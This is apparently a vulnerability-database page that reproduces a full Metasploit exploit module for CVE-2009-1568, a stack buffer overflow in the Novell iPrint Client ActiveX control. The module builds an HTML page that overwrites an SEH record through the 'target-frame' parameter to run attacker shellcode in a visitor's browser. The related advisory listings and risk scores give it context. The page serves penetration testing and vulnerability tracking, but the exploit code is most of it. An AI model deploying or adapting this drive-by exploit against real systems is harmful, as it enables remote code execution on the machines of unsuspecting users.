Novell iPrint Client ActiveX Control target-frame Buffer Overflow

🗓️ 23 Feb 2010 18:06:35Reported by jduck <[email protected]>Type

Novell iPrint Client ActiveX Control buffer overflow vulnerabilit

Reporter	Title	Published	Views	Family All 23
Tenable Nessus	Novell iPrint Client < 5.32 Multiple Buffer Overflow Vulnerabilities	9 Dec 200900:00	–	nessus
Tenable Nessus	Novell iPrint Client < 5.32 Multiple Overflows	8 Dec 200900:00	–	nessus
Circl	CVE-2009-1568	9 May 201000:00	–	circl
Check Point Advisories	Novell iPrint Client ienipp.ocx target-frame Stack Buffer Overflow (CVE-2009-1568)	1 Feb 201000:00	–	checkpoint_advisories
Check Point Advisories	Update Protection against Novell iPrint Client ienipp.ocx target-frame Stack Buffer Overflow	23 Apr 201000:00	–	checkpoint_advisories
CVE	CVE-2009-1568	8 Dec 200923:00	–	cve
Cvelist	CVE-2009-1568	8 Dec 200923:00	–	cvelist
Exploit DB	Novell iPrint Client - ActiveX Control target-frame Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
NVD	CVE-2009-1568	8 Dec 200923:30	–	nvd
OpenVAS	Novell iPrint Client Multiple BOF Vulnerabilities - Linux	21 Dec 200900:00	–	openvas

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell iPrint Client ActiveX Control target-frame Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Novell iPrint Client 5.30. When
        passing an overly long string via the "target-frame" parameter to ienipp.ocx
        an attacker can execute arbitrary code.

        NOTE: The "operation" variable must be set to a valid command in order to reach this
        vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'jduck' ],
      'References'     =>
        [
          [ 'CVE', '2009-1568' ],
          [ 'BID', '37242' ],
          [ 'OSVDB', '60803' ],
          [ 'URL', 'http://web.archive.org/web/20091213033630/http://secunia.com:80/advisories/37169' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1456,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'iPrint 5.30 Windows Client', { 'Ret' => 0x100489ac } ] # p/p/r in ienipp.ocx v5.30
        ],
      'DisclosureDate' => '2009-12-08',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    sploit = p.encoded

    # the following must be an invalid pointer (unreadable)
    sploit << [rand(0xffffffff) | 0xc0000000].pack('V')

    sploit << generate_seh_record(target.ret)

    distance = 8 + 4 + payload_space
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

    sploit << rand_text_alphanumeric(2048 - sploit.length)

    operations = [
      "op-client-interface-version",
      "op-client-version-info",
      "op-client-is-printer-installed",
      "op-user-get-role",
      "op-printer-install",
      "op-printer-remove",
      "op-printer-get-status",
      "op-printer-get-info",
      "op-printer-pause",
      "op-printer-resume",
      "op-printer-purge-jobs",
      "op-printer-list-users-jobs",
      "op-printer-list-all-jobs",
      "op-printer-send-test-page",
      "op-printer-send-file",
      "op-printer-setup-install",
      "op-job-get-info",
      "op-job-hold",
      "op-job-release-hold",
      "op-job-cancel",
      "op-job-restart",
      "op-dbg-printer-get-all-attrs",
      "op-dbg-job-get-all-attrs"
    ]
    operation = operations[rand(operations.length)]

    # escape single quotes
    sploit = xml_encode(sploit)

    content = %Q|<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'>
<param name='operation' value='#{operation}' />
<param name='target-frame' value='#{sploit}' />
</object>
</html>
|

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end

  def xml_encode(str)
    ret = ""
    str.unpack('C*').each { |ch|
      case ch
      when 0x41..0x5a, 0x61..0x7a, 0x30..0x39
        ret << ch.chr
      else
        ret << "&#x"
        ret << ch.chr.unpack('H*')[0]
        ret << ";"
      end
    }
    ret
  end
end

23 Mar 2023 10:43Current

8High risk

Vulners AI Score8

CVSS 29.3

EPSS0.32168